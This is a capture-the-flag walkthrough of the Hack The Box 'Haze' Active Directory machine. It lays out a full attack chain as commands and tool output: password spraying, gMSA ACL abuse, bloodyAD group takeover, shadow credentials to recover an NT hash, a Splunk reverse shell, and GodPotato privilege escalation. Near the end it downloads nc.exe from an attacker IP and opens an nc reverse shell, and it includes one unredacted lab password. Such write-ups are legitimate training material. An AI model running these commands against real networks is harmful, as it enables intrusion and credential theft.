username-anarchy Paul Taylor > paul.txt

Password Spraying#

Launch password spraying with nxc.

> nxc smb haze.htb -u paul.txt -p '<password>' --no-bruteforce --continue-on-success
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
...
SMB         10.10.11.61     445    DC01             [+] haze.htb\paul.taylor:<password>
...

paul.taylor is the valid username.

Auth as paul.taylor#

Users#

It’s worth trying another password spraying attack, but with valid usernames. Somehow, I can’t get the users list with --users option, so I will use --rid-brute instead.

nxc smb haze.htb -u 'paul.taylor' -p '<password>' --rid-brute | awk '{print $6, $7, $8}' | cut -d "\\" -f 2 | grep SidTypeUser | sed 's/(Sid.*//g' > users.txt

Password Spraying#

Launch another password spraying attack.

> nxc smb haze.htb -u users.txt -p '<password>' --no-bruteforce --continue-on-success
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
...
SMB         10.10.11.61     445    DC01             [+] haze.htb\paul.taylor:<password>
SMB         10.10.11.61     445    DC01             [+] haze.htb\mark.adams:<password>
...

It works for mark.adams as well.

Auth as mark.adams#

Enumeration#

Now let’s analyze the domain using bloodhound, collect the data remotely using rusthound-ce or bloodhound-ce-python.

rusthound-ce -d haze.htb -u mark.adams -p '<password>' -c All -o mark_dump

Let bloodhound ingest the data.

alt text

paul.taylor doesn’t have interesting groups or ACEs, but mark.adams has some interesting groups. He belongs to Remote Management Users and GMSA_MANAGERS groups. If you check the user home directory by spawning a shell using evil-winrm, you will see that there’s no flag yet.
Because of the GMSA_MANAGERS group, let’s check for GMSA passwords.

> nxc ldap haze.htb -u 'mark.adams' -p '<password>' --gmsa
LDAP        10.10.11.61     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS       10.10.11.61     636    DC01             [+] haze.htb\mark.adams:<password>
LDAPS       10.10.11.61     636    DC01             [*] Getting GMSA Passwords
LDAPS       10.10.11.61     636    DC01             Account: Haze-IT-Backup$      NTLM:

It succeed finding an account that has GMSA password, but the NTLM hash in empty. It’s so strange because from the bloodhound didn’t show anything related to GMSA neither.
So I will just try manual enumeration using powerview.py, you can also use pywerview.

GMSA Password#

> powerview haze.htb/mark.adams:Ld@p_Auth_Sp1unk@2k24@10.10.11.61 --dc-ip 10.10.11.61
PV > Get-DomainObjectAcl -Identity haze-it-backup$ -SecurityIdentifier gmsa_managers
ObjectDN                    : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
ObjectSID                   : S-1-5-21-323145914-28650650-2368316563-1111
ACEType                     : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags                    : None
AccessMask                  : WriteProperty
ObjectAceFlags              : ACE_OBJECT_TYPE_PRESENT
ObjectAceType               : ms-DS-GroupMSAMembership
InheritanceType             : None
SecurityIdentifier          : HAZE\gMSA_Managers

ObjectDN                    : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
ObjectSID                   : S-1-5-21-323145914-28650650-2368316563-1111
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : None
ActiveDirectoryRights       : ReadControl,ReadProperties,ListChildObjects
AccessMask                  : ReadControl,ReadProperties,ListChildObjects
InheritanceType             : None
SecurityIdentifier          : HAZE\gMSA_Managers

Bingo, GMSA_MANAGERS group has WriteProperty to ms-DS-GroupMSAMembership attribute for Haze-IT-Backup$ account. This property stores the security principals that can access the GMSA password and we can use Set-ADServiceAccount powershell command to add mark.adams to the list.

Set-ADServiceAccount -Identity haze-it-backup$ -PrincipalsAllowedToRetrieveManagedPassword mark.adams

Try again the nxc command.

> nxc ldap haze.htb -u 'mark.adams' -p '<password>' --gmsa
LDAP        10.10.11.61     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS       10.10.11.61     636    DC01             [+] haze.htb\mark.adams:<password>
LDAPS       10.10.11.61     636    DC01             [*] Getting GMSA Passwords
LDAPS       10.10.11.61     636    DC01             Account: Haze-IT-Backup$      NTLM: <hash>

Auth as haze-it-backup$#

bloodhound#

WriteOwner#

alt text

We have dead end after SUPPORT_SERVICES group. I will gather data remotely again because sometimes it reveals another attack path. But now I am using bloodhound-ce-python because rusthound-ce doesn’t support Kerberos authentication yet.

# Syncronize time
sudo ntpdate haze.htb

bloodhound-ce-python -d haze.htb -u 'haze-it-backup$' --hashes :<hash> -c All --zip -op haze-it -dc dc01.haze.htb -ns 10.10.11.61

Unzip it and load it into bloodhound.

alt text

Cool, we can reset password or shadow credential to edward.martin user which is member of Remote Management Users and BACKUP_REVIEWERS group. Let’s add haze-it-backup$ to SUPPORT_SERVICES group by being the owner, add genericAll to itself, and become a member of SUPPORT_SERVICES group.

# Get TGT
getTGT.py 'haze.htb/haze-it-backup$@10.10.11.61' -hashes :<hash>
export KRB5CCNAME=$(realpath haze-it-backup\$@10.10.11.61.ccache)

bloodyAD -d haze.htb -k --host dc01.haze.htb set owner support_services 'haze-it-backup$'
bloodyAD -d haze.htb -k --host dc01.haze.htb add genericAll support_services 'haze-it-backup$'
bloodyAD -d haze.htb -k --host dc01.haze.htb add groupMember support_services 'haze-it-backup$'

# Get new TGT
getTGT.py 'haze.htb/haze-it-backup$@10.10.11.61' -hashes :<hash>

Shadow Credentials#

I tried to change edward.martin password but it failed because of the policy.

bloodyAD -d haze.htb -k --host dc01.haze.htb set password edward.martin 'P@ssw0rd!'
...
Password can't be changed before -2 days, 23:55:42.568450 because of the minimum password age policy.

Now, I will try the shadow credential. You can do it automatically using certipy or manually using bloodyAD or pywhisker. I will use bloodyAD here.

> bloodyAD -d haze.htb -k --host dc01.haze.htb add shadowCredentials edward.martin
[+] KeyCredential generated with following sha256 of RSA key: 424edb5db0b82a1239760368cdefa57d5f51f8823988713923d5ab9225cdab7d
No outfile path was provided. The certificate(s) will be stored with the filename: bgd9GFM4
[+] Saved PEM certificate at path: bgd9GFM4_cert.pem
[+] Saved PEM private key at path: bgd9GFM4_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem bgd9GFM4_cert.pem -key-pem bgd9GFM4_priv.pem haze.htb/edward.martin bgd9GFM4.ccache

> gettgtpkinit.py -cert-pem bgd9GFM4_cert.pem -key-pem bgd9GFM4_priv.pem haze.htb/edward.martin bgd9GFM4.ccache
2025-04-01 06:53:06,399 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-01 06:53:06,415 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-04-01 06:53:06,491 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-04-01 06:53:06,491 minikerberos INFO     472148b54cf64a9a676793ab6f8a679efb492c0e8eba7c0473ee9ca8a2f7d575
INFO:minikerberos:472148b54cf64a9a676793ab6f8a679efb492c0e8eba7c0473ee9ca8a2f7d575
2025-04-01 06:53:06,495 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

> export KRB5CCNAME=$(realpath bgd9GFM4.ccache)
> getnthash.py 'haze.htb/edward.martin' -key 472148b54cf64a9a676793ab6f8a679efb492c0e8eba7c0473ee9ca8a2f7d575
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
<nt_hash>

Auth as edward.martin#

User Flag#

*Evil-WinRM* PS C:\Users\edward.martin\Desktop> cat user.txt
deadbeef3e687064cf1dec475e49fake

Enumeration#

This user is belongs to the BACKUP_REVIEWERS group and if check directory in the root path, you will see Backups directory. This folder contains splunk_backup_2024-08-06.zip file, just download it. After unzipping it, you will get backup files of splunk. You can get the authentication.conf file at Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf path. This file contains password hash for alexander.green, you could do the previous method for paul.taylor user to crack it. The splunk secret is located at Splunk/etc/auth/splunk.secret path.

alexander.green is belongs to the Splunk_admins group so maybe we could login to the splunk dashboard. Based on the splunk passwd file, there’s no alexander.green user so let’s try it with admin user instead.

alt text

And it works. After googling about reverse shell in splunk, I come across reverse_shell_splunk repository that provides reverse shell in splunk. Just follow the instruction and you will get a reverse shell as alexander.green.

Shell as alexander.green#

SeImpersonatePrivilege#

This user has SeImpersonatePrivilege privilege which basically means game over for the machine.

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\Windows\system32>

I will use GodPotato to abuse SeImpersonatePrivilege privilege.

cd /programdata
mkdir bruh
cd bruh
wget http://10.10.x.x/nc.exe -o nc.exe
wget http://10.10.x.x/GodPotatoNet4.exe -o god.exe
./god.exe -cmd "/c C:\programdata\bruh\nc.exe -e cmd.exe 10.10.x.x 9002"

Shell as nt authority\system#

Root Flag#

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
deadbeef095bf2f78d820a34545cfake